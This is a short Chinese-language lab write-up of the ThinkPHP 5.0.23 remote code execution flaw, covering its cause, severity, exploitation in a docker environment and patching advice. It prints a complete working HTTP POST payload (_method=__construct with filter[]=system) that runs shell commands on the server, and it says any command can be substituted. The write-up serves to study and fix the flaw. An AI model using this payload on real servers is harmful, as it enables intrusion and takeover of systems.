# 5.24.2 RCE

## 漏洞名称

ThinkPHP5 5.0.23 远程代码执行漏洞

## 漏洞描述

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，在获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。

## 漏洞等级

高级

## 漏洞危害

远程代码执行

## 漏洞检测方法

利用POC去试验是否存在该漏洞

## 漏洞利用方法

启动docker环境:

```
docker-compose up -d
```

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0zd9tfx20j30o30njab8.jpg)

然后刷新页面,构造POC,成功执行命令

![](http://ww1.sinaimg.cn/large/0078beR7ly1g0zd4qm4p3j30vr0g6q4a.jpg)

发送的数据包为:

```
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.136.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```

也可以执行其他命令,只需替换server\[REQUEST\_METHOD]的值即可

## 漏洞修复方案:

1,及时去thinkphp官网修补漏洞

2,更新到最新版
